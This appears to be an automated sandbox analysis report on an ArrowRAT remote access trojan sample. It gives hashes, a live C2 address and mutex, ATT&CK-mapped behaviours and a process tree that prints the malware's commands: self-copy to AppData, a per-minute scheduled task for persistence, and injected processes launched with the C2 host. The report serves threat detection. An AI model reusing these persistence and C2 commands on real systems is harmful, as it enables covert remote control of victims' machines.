arrowrat | 123e3be67c4e5b88d9cb57c0c44e8574e2e260198e42d7882a974d5575c83c90

General

Target

jkoi.exe
Size

300.0MB
MD5

135b97e053b660f8e6cacd58965b93cd
SHA1

828e92ad30ac243ec063252a338519e4429940e3
SHA256

e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027
SHA512

6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c
SSDEEP

12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Score

10^/10

arrowrat client discovery persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

jkoi.exeRegAsm.exe

description	pid	process	target process
PID 2592 set thread context of 2728	2592	jkoi.exe	RegAsm.exe
PID 2728 set thread context of 2784	2728	RegAsm.exe	cvtres.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.execmd.execmd.exeschtasks.exejkoi.exeRegAsm.execvtres.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jkoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Modifies registry class 5 IoCs

Processes:

explorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

844 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

RegAsm.exe

pid process

2728 RegAsm.exe
2728 RegAsm.exe
2728 RegAsm.exe
2728 RegAsm.exe

pid	process
844	schtasks.exe

pid	process
2728	RegAsm.exe
2728	RegAsm.exe
2728	RegAsm.exe
2728	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

jkoi.exeRegAsm.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	2592	jkoi.exe
Token: SeDebugPrivilege	2728	RegAsm.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe
Token: SeShutdownPrivilege	2424	explorer.exe

Suspicious use of FindShellTrayWindow 26 IoCs

Processes:

explorer.exe

pid	process
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

Processes:

explorer.exe

pid	process
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe
2424	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

2728 RegAsm.exe

pid	process
2728	RegAsm.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

jkoi.exeRegAsm.exeexplorer.execmd.exe

description	pid	process	target process
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2592 wrote to memory of 2728	2592	jkoi.exe	RegAsm.exe
PID 2728 wrote to memory of 2424	2728	RegAsm.exe	explorer.exe
PID 2728 wrote to memory of 2424	2728	RegAsm.exe	explorer.exe
PID 2728 wrote to memory of 2424	2728	RegAsm.exe	explorer.exe
PID 2728 wrote to memory of 2424	2728	RegAsm.exe	explorer.exe
PID 2728 wrote to memory of 2676	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2676	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2676	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2676	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2728 wrote to memory of 2784	2728	RegAsm.exe	cvtres.exe
PID 2592 wrote to memory of 2984	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2984	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2984	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2984	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2064	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2064	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2064	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2064	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2684	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2684	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2684	2592	jkoi.exe	cmd.exe
PID 2592 wrote to memory of 2684	2592	jkoi.exe	cmd.exe
PID 2424 wrote to memory of 1968	2424	explorer.exe	ctfmon.exe
PID 2424 wrote to memory of 1968	2424	explorer.exe	ctfmon.exe
PID 2424 wrote to memory of 1968	2424	explorer.exe	ctfmon.exe
PID 2064 wrote to memory of 844	2064	cmd.exe	schtasks.exe
PID 2064 wrote to memory of 844	2064	cmd.exe	schtasks.exe
PID 2064 wrote to memory of 844	2064	cmd.exe	schtasks.exe
PID 2064 wrote to memory of 844	2064	cmd.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\jkoi.exe
"C:\Users\Admin\AppData\Local\Temp\jkoi.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:1968
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
    3⤵
    PID:2676
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2784
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2984
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:844
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\jkoi.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2684

C:\Windows\system32\taskeng.exe
taskeng.exe {807E9F0D-21CF-4BA1-90CD-E2CEF0D145AA} S-1-5-21-3533259084-2542256011-65585152-1000:XPAJOTIY\Admin:Interactive:[1]
1⤵
PID:1984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Active Setup

1

T1547.014

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Active Setup

1

T1547.014

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2592-0-0x00000000745BE000-0x00000000745BF000-memory.dmp

Filesize
4KB

Download
memory/2592-1-0x0000000000DF0000-0x0000000000EAC000-memory.dmp

Filesize
752KB

Download
memory/2592-2-0x00000000745B0000-0x0000000074C9E000-memory.dmp

Filesize
6.9MB

Download
memory/2592-3-0x00000000745BE000-0x00000000745BF000-memory.dmp

Filesize
4KB

Download
memory/2592-4-0x00000000745B0000-0x0000000074C9E000-memory.dmp

Filesize
6.9MB

Download
memory/2592-28-0x00000000745B0000-0x0000000074C9E000-memory.dmp

Filesize
6.9MB

Download
memory/2728-11-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2728-6-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2728-8-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2728-5-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2728-7-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2728-13-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2728-15-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2728-9-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2784-16-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2784-25-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2784-24-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2784-22-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2784-18-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2784-27-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2784-26-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2784-20-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads